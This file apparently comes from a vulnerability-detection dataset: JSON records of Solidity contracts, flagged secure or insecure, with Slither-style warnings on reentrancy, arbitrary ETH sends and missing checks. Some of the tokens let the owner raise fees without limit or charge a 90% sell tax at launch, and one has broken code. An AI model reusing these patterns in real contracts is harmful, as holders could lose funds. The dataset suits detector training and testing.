tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1951.sol",
"secure": 0,
"size_bytes": 16939
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 90c2625): XCODE.slitherConstructorVariables() performs a multiplication on the result of a division maxWalletAmount = (_totalSupply / 100) * 2\n// Recommendation for 90c2625: Consider ordering multiplication before division.\ncontract XCODE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFeeWallet;\n uint8 private constant _decimals = 18;\n uint256 private constant _totalSupply = 1000000 * 10 ** _decimals;\n\n uint256 private constant onePercent = 4000 * 10 ** _decimals;\n\n\t// divide-before-multiply | ID: 90c2625\n uint256 public maxWalletAmount = (_totalSupply / 100) * 2;\n\n uint256 private _tax;\n uint256 public buyTax = 15;\n uint256 public sellTax = 30;\n\n string private constant _name = \"XCode Coin\";\n string private constant _symbol = \"XCode\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 84c4aa4): XCODE.uniswapV2Router should be immutable \n\t// Recommendation for 84c4aa4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 3617d80): XCODE.uniswapV2Pair should be immutable \n\t// Recommendation for 3617d80: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (immutable-states | ID: 2826528): XCODE.taxWallet should be immutable \n\t// Recommendation for 2826528: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public taxWallet;\n\n uint256 private launchedAt;\n\t// WARNING Optimization Issue (constable-states | ID: 999f1d4): XCODE.launchDelay should be constant \n\t// Recommendation for 999f1d4: Add the 'constant' attribute to state variables that never change.\n uint256 private launchDelay = 0;\n bool private launch = false;\n\n uint256 private constant minSwap = onePercent / 20;\n bool private inSwapAndLiquify;\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n taxWallet = payable(0x5FBf244eA56Ec7206537285F553a485A72E76e3b);\n _isExcludedFromFeeWallet[msg.sender] = true;\n _isExcludedFromFeeWallet[taxWallet] = true;\n _isExcludedFromFeeWallet[address(this)] = true;\n\n _allowances[owner()][address(uniswapV2Router)] = _totalSupply;\n _balance[owner()] = _totalSupply;\n emit Transfer(address(0), address(owner()), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6d2871): XCODE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a6d2871: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dadeb9a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dadeb9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eab9b4d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eab9b4d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: dadeb9a\n\t\t// reentrancy-benign | ID: eab9b4d\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: dadeb9a\n\t\t// reentrancy-benign | ID: eab9b4d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(amount, \"low allowance\")\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 08c0a59): XCODE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 08c0a59: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0) && spender != address(0),\n \"approve zero address\"\n );\n\t\t// reentrancy-benign | ID: eab9b4d\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: dadeb9a\n emit Approval(owner, spender, amount);\n }\n\n function enableTrading() external onlyOwner {\n launch = true;\n launchedAt = block.number;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 44b2bb6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 44b2bb6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d35f6d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d35f6d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d6a46a4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d6a46a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"transfer zero address\");\n\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(launch, \"Wait till launch\");\n if (block.number < launchedAt + launchDelay) {\n _tax = 40;\n } else {\n if (from == uniswapV2Pair) {\n require(\n balanceOf(to) + amount <= maxWalletAmount,\n \"Max wallet 2% at launch\"\n );\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = balanceOf(address(this));\n if (tokensToSwap > minSwap && !inSwapAndLiquify) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n\t\t\t\t\t\t// reentrancy-events | ID: 44b2bb6\n\t\t\t\t\t\t// reentrancy-benign | ID: d35f6d0\n\t\t\t\t\t\t// reentrancy-no-eth | ID: d6a46a4\n swapTokensForEth(tokensToSwap);\n }\n\t\t\t\t\t// reentrancy-benign | ID: d35f6d0\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n }\n uint256 taxTokens = (amount * _tax) / 100;\n uint256 transferAmount = amount - taxTokens;\n\n\t\t// reentrancy-no-eth | ID: d6a46a4\n _balance[from] = _balance[from] - amount;\n\t\t// reentrancy-no-eth | ID: d6a46a4\n _balance[to] = _balance[to] + transferAmount;\n\t\t// reentrancy-no-eth | ID: d6a46a4\n _balance[address(this)] = _balance[address(this)] + taxTokens;\n\n\t\t// reentrancy-events | ID: 44b2bb6\n emit Transfer(from, to, transferAmount);\n }\n\n function removeAllLimits() external onlyOwner {\n maxWalletAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6c6dffe): XCODE.newTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for 6c6dffe: Emit an event for critical parameter changes.\n function newTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {\n\t\t// events-maths | ID: 6c6dffe\n buyTax = newBuyTax;\n\t\t// events-maths | ID: 6c6dffe\n sellTax = newSellTax;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 44b2bb6\n\t\t// reentrancy-events | ID: dadeb9a\n\t\t// reentrancy-benign | ID: d35f6d0\n\t\t// reentrancy-benign | ID: eab9b4d\n\t\t// reentrancy-no-eth | ID: d6a46a4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n taxWallet,\n block.timestamp\n );\n }\n\n function sendEthToTaxWallet() external {\n taxWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1952.sol",
"secure": 0,
"size_bytes": 11583
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs1 {\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n function InMemoryUsage() public {\n (int256 a, int256 b, bytes32 c, bytes32 d) = (1, 2, \"a\", \"b\");\n }\n}",
"file_name": "solidity_code_1953.sol",
"secure": 1,
"size_bytes": 310
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract PMS is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n address public constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n address private marketingWallet;\n\n uint256 public maxTransactionAmount;\n uint256 public swapTokensAtAmount;\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n uint256 private launchedAt;\n uint256 private launchedTime;\n uint256 public deadBlocks;\n\n uint256 public buyTotalFees;\n uint256 private buyMarketingFee;\n\n uint256 public sellTotalFees;\n uint256 public sellMarketingFee;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(uint256 => uint256) private swapInBlock;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d8d2b8a): PMS.constructor(address)._wallet1 lacks a zerocheck on \t marketingWallet = _wallet1\n\t// Recommendation for d8d2b8a: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ad1c81): PMS.constructor(address).totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 9ad1c81: Rename the local variables that shadow another component.\n constructor(\n address _wallet1\n ) ERC20(unicode\"Princess Milady Syndrome\", unicode\"PMS\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 totalSupply = 888888888 * 1e18;\n\n maxTransactionAmount = 17777777 * 1e18;\n maxWallet = 17777777 * 1e18;\n swapTokensAtAmount = (totalSupply * 2) / 1000;\n\n\t\t// missing-zero-check | ID: d8d2b8a\n marketingWallet = _wallet1;\n\n excludeFromFees(owner(), true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7029bf6): PMS.enableTrading(uint256) should emit an event for deadBlocks = _deadBlocks \n\t// Recommendation for 7029bf6: Emit an event for critical parameter changes.\n function enableTrading(uint256 _deadBlocks) external onlyOwner {\n\t\t// events-maths | ID: 7029bf6\n deadBlocks = _deadBlocks;\n tradingActive = true;\n swapEnabled = true;\n launchedAt = block.number;\n launchedTime = block.timestamp;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 23a1ea7): PMS.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 23a1ea7: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\t\t// events-maths | ID: 23a1ea7\n swapTokensAtAmount = newAmount;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3a264e8): PMS.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for 3a264e8: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\t\t// events-maths | ID: 3a264e8\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 637b466): PMS.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for 637b466: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\t\t// events-maths | ID: 637b466\n maxWallet = newNum * (10 ** 18);\n }\n\n function whitelistContract(address _whitelist, bool isWL) public onlyOwner {\n _isExcludedMaxTransactionAmount[_whitelist] = isWL;\n\n _isExcludedFromFees[_whitelist] = isWL;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n function manualswap(uint256 amount) external {\n require(_msgSender() == marketingWallet);\n require(\n amount <= balanceOf(address(this)) && amount > 0,\n \"Wrong amount\"\n );\n swapTokensForEth(amount);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7995d16): PMS.manualsend() sends eth to arbitrary user Dangerous calls (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for 7995d16: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function manualsend() external {\n bool success;\n\t\t// arbitrary-send-eth | ID: 7995d16\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 24d9fbd): PMS.updateBuyFees(uint256) should emit an event for buyMarketingFee = _marketingFee buyTotalFees = buyMarketingFee \n\t// Recommendation for 24d9fbd: Emit an event for critical parameter changes.\n function updateBuyFees(uint256 _marketingFee) external onlyOwner {\n\t\t// events-maths | ID: 24d9fbd\n buyMarketingFee = _marketingFee;\n\t\t// events-maths | ID: 24d9fbd\n buyTotalFees = buyMarketingFee;\n require(buyTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bbf8472): PMS.updateSellFees(uint256) should emit an event for sellMarketingFee = _marketingFee sellTotalFees = sellMarketingFee \n\t// Recommendation for bbf8472: Emit an event for critical parameter changes.\n function updateSellFees(uint256 _marketingFee) external onlyOwner {\n\t\t// events-maths | ID: bbf8472\n sellMarketingFee = _marketingFee;\n\t\t// events-maths | ID: bbf8472\n sellTotalFees = sellMarketingFee;\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8f1d522): PMS.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for 8f1d522: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\t\t// missing-zero-check | ID: 8f1d522\n marketingWallet = newMarketingWallet;\n }\n\n function airdrop(\n address[] calldata addresses,\n uint256[] calldata amounts\n ) external {\n require(addresses.length > 0 && amounts.length == addresses.length);\n address from = msg.sender;\n\n for (uint256 i = 0; i < addresses.length; i++) {\n _transfer(from, addresses[i], amounts[i] * (10 ** 18));\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fbcb43f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fbcb43f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b909eef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b909eef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n uint256 blockNum = block.number;\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if ((launchedAt + deadBlocks) >= blockNum) {\n buyMarketingFee = 0;\n buyTotalFees = buyMarketingFee;\n\n sellMarketingFee = 90;\n sellTotalFees = sellMarketingFee;\n } else if (\n blockNum > (launchedAt + deadBlocks) &&\n blockNum <= launchedAt + 40\n ) {\n buyMarketingFee = 10;\n buyTotalFees = buyMarketingFee;\n\n sellMarketingFee = 30;\n sellTotalFees = sellMarketingFee;\n } else {\n buyMarketingFee = 0;\n buyTotalFees = buyMarketingFee;\n\n sellMarketingFee = 0;\n sellTotalFees = sellMarketingFee;\n }\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n (swapInBlock[blockNum] < 2) &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: fbcb43f\n\t\t\t// reentrancy-eth | ID: b909eef\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: b909eef\n ++swapInBlock[blockNum];\n\n\t\t\t// reentrancy-eth | ID: b909eef\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n fees = amount.mul(sellTotalFees).div(100);\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n fees = amount.mul(buyTotalFees).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: fbcb43f\n\t\t\t\t// reentrancy-eth | ID: b909eef\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: fbcb43f\n\t\t// reentrancy-eth | ID: b909eef\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 962c06c): PMS.swapBack() has external calls inside a loop (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for 962c06c: Favor pull over push strategy for external calls.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n bool success;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 amountToSwapForETH = contractBalance;\n\n swapTokensForEth(amountToSwapForETH);\n\n\t\t// reentrancy-events | ID: fbcb43f\n\t\t// calls-loop | ID: 962c06c\n\t\t// reentrancy-eth | ID: b909eef\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n function getRewards(uint256 x) external pure returns (uint256) {\n return x + 17;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: e96c0e5): PMS.swapTokensForEth(uint256) has external calls inside a loop uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp)\n\t// Recommendation for e96c0e5: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6b2b3a6): PMS.swapTokensForEth(uint256) has external calls inside a loop path[1] = uniswapV2Router.WETH()\n\t// Recommendation for 6b2b3a6: Favor pull over push strategy for external calls.\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n\t\t// calls-loop | ID: 6b2b3a6\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fbcb43f\n\t\t// calls-loop | ID: e96c0e5\n\t\t// reentrancy-eth | ID: b909eef\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}",
"file_name": "solidity_code_1954.sol",
"secure": 0,
"size_bytes": 17929
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RFS is ERC20 {\n constructor() ERC20(\"Refresh\", \"RFS\") {\n _mint(msg.sender, 10000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1955.sol",
"secure": 1,
"size_bytes": 272
} |
{
"code": "// SPDX-License-Identifier: -- WISE --\n\npragma solidity ^0.8.0;\n\ninterface UniswapV2 {\n function swapExactTokensForETH(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}",
"file_name": "solidity_code_1956.sol",
"secure": 1,
"size_bytes": 321
} |
{
"code": "// SPDX-License-Identifier: -- WISE --\n\npragma solidity ^0.8.0;\n\ninterface TokenERC20 {\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool success);\n\n function approve(\n address _spender,\n uint256 _value\n ) external returns (bool success);\n}",
"file_name": "solidity_code_1957.sol",
"secure": 1,
"size_bytes": 348
} |
{
"code": "// SPDX-License-Identifier: -- WISE --\n\npragma solidity ^0.8.0;\n\ninterface WiserToken {\n function mintSupply(\n address _to,\n uint256 _value\n ) external returns (bool success);\n}",
"file_name": "solidity_code_1958.sol",
"secure": 1,
"size_bytes": 206
} |
{
"code": "// SPDX-License-Identifier: -- WISE --\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapV2.sol\" as UniswapV2;\n\ncontract CollectorDeclaration {\n UniswapV2 public constant UNISWAP_ROUTER =\n UniswapV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n uint256 constant INVESTMENT_DAYS = 50;\n uint256 constant REFERRAL_BONUS = 10;\n uint256 constant SECONDS_IN_DAY = 86400;\n uint256 constant PRECISION_POINT = 100E18;\n uint256 constant INCEPTION_TIME = 1677628800;\n uint256 constant LIMIT_REFERRALS = 90000000E18;\n uint256 constant WISER_FUNDRAISE = 10000000E18;\n uint128 constant MINIMUM_REFERRAL = 10 ether;\n uint128 constant MIN_INVEST = 50000000000000000;\n uint128 constant DAILY_SUPPLY = 18000000E18;\n\n struct Globals {\n uint64 generatedDays;\n uint64 preparedReferrals;\n uint256 totalTransferTokens;\n uint256 totalWeiContributed;\n uint256 totalReferralTokens;\n }\n\n Globals public g;\n\n mapping(uint256 => uint256) public dailyTotalSupply;\n mapping(uint256 => uint256) public dailyTotalInvestment;\n\n mapping(uint256 => uint256) public investorAccountCount;\n mapping(uint256 => mapping(uint256 => address)) public investorAccounts;\n mapping(address => mapping(uint256 => uint256)) public investorBalances;\n\n mapping(address => uint256) public referralAmount;\n mapping(address => uint256) public referralTokens;\n mapping(address => uint256) public investorTotalBalance;\n mapping(address => uint256) public originalInvestment;\n\n uint256 public referralAccountCount;\n uint256 public uniqueInvestorCount;\n\n mapping(uint256 => address) public uniqueInvestors;\n mapping(uint256 => address) public referralAccounts;\n\n event GeneratedStaticSupply(\n uint256 indexed investmentDay,\n uint256 staticSupply\n );\n\n event ReferralAdded(\n address indexed referral,\n address indexed referee,\n uint256 amount\n );\n\n event WiseReservation(\n address indexed sender,\n uint256 indexed investmentDay,\n uint256 amount\n );\n}",
"file_name": "solidity_code_1959.sol",
"secure": 1,
"size_bytes": 2219
} |
{
"code": "// SPDX-License-Identifier: GNU AGPLv3\n\npragma solidity ^0.8.0;\n\ncontract Governance {\n event GovernanceTransferred(\n address indexed previousGovernance,\n address indexed newGovernance\n );\n\n modifier onlyGovernance() {\n _checkGovernance();\n\n _;\n }\n\n function _checkGovernance() internal view virtual {\n require(governance == msg.sender, \"!governance\");\n }\n\n address public governance;\n\n constructor(address _governance) {\n governance = _governance;\n\n emit GovernanceTransferred(address(0), _governance);\n }\n\n function transferGovernance(\n address _newGovernance\n ) external virtual onlyGovernance {\n require(_newGovernance != address(0), \"ZERO ADDRESS\");\n\n address oldGovernance = governance;\n\n governance = _newGovernance;\n\n emit GovernanceTransferred(oldGovernance, _newGovernance);\n }\n}",
"file_name": "solidity_code_196.sol",
"secure": 1,
"size_bytes": 948
} |
{
